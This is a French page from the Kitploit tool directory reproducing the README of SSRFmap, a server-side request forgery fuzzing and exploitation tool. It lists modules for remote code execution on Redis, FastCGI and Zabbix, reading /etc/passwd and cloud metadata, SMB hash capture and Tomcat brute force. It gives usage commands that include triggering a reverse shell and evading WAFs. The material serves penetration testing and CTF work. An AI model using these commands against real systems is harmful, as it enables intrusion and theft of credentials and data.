Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SSRFmap — Outil automatique de fuzzing et d'exploitation SSRF | Kitploit
Outils/GitHubGitHub/swisskyrepo/ssrfmap
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebFuzzingCTFTests d'Intrusion
GitHubswisskyrepo/ssrfmap

SSRFmap

Outil automatique de fuzzing et d'exploitation SSRF

Voir le dépôt
3.6k57078il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

Les SSRF sont souvent utilisés pour tirer parti d'actions sur d'autres services, ce framework vise à trouver et exploiter ces services facilement. SSRFmap prend un fichier de requête Burp en entrée et un paramètre à fuzzer.

La Server Side Request Forgery (SSRF) est une vulnérabilité dans laquelle un attaquant force un serveur à effectuer des requêtes en son nom.

Sommaire

  • Modules
  • Installation et Manuel
  • Exemples
  • Tests SSRFmap
  • Contribuer
    • Remerciements aux contributeurs

Modules

Les modules suivants sont déjà implémentés et peuvent être utilisés avec l'argument -m.

NomDescription
axfrTransferts de zone DNS (AXFR)
fastcgiRCE FastCGI
redisRCE Redis
githubRCE Github Enterprise < 2.8.7
zabbixRCE Zabbix
mysqlExécution de commande MySQL
postgresExécution de commande PostgreSQL
dockerFuites d'informations Docker via API
smtpEnvoi de mail SMTP
portscanScanne les 8000 premiers ports de l'hôte
networkscanBalayage HTTP Ping sur le réseau
readfilesLire des fichiers tels que /etc/passwd
alibabaLire des fichiers du fournisseur (ex: meta-data, user-data)
awsLire des fichiers du fournisseur (ex: meta-data, user-data)
gceLire des fichiers du fournisseur (ex: meta-data, user-data)
digitaloceanLire des fichiers du fournisseur (ex: meta-data, user-data)
socksproxyProxy SOCKS4
smbhashForcer une authentification SMB via un chemin UNC
tomcatAttaque par force brute contre Tomcat Manager
customEnvoyer des données personnalisées à un service à l'écoute, ex: netcat
memcacheStocker des données dans l'instance memcache

Installation et Manuel

  • Depuis le dépôt Github.

    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

Exemples

Tout d'abord, vous avez besoin d'une requête avec un paramètre à fuzzer, les requêtes Burp fonctionnent bien avec SSRFmap. Elles devraient ressembler à ce qui suit. D'autres exemples sont disponibles dans le dossier ./examples.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Utilisez l'option -m suivie du nom du module (séparés par une , si vous souhaitez lancer plusieurs modules).

# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

Si vous souhaitez injecter dans un en-tête, un paramètre GET ou POST, vous devez simplement spécifier le nom du paramètre.

python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

Si vous avez besoin d'un user-agent personnalisé, utilisez --uagent. Certaines cibles utiliseront HTTPS, vous pouvez l'activer avec --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Certains modules vous permettent de créer un connect back, vous devez spécifier LHOST et LPORT. SSRFmap peut également écouter pour la reverse shell entrante.

# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

Lorsque la cible est protégée par un WAF ou certains filtres, vous pouvez essayer une large gamme de payloads et d'encodage avec le paramètre --level.

# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

Tests SSRFmap

Un moyen rapide de tester le framework peut être fait avec le service SSRF data/example.py.

  • Local

    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

Lancer les requêtes de test :

Télécharger l’outil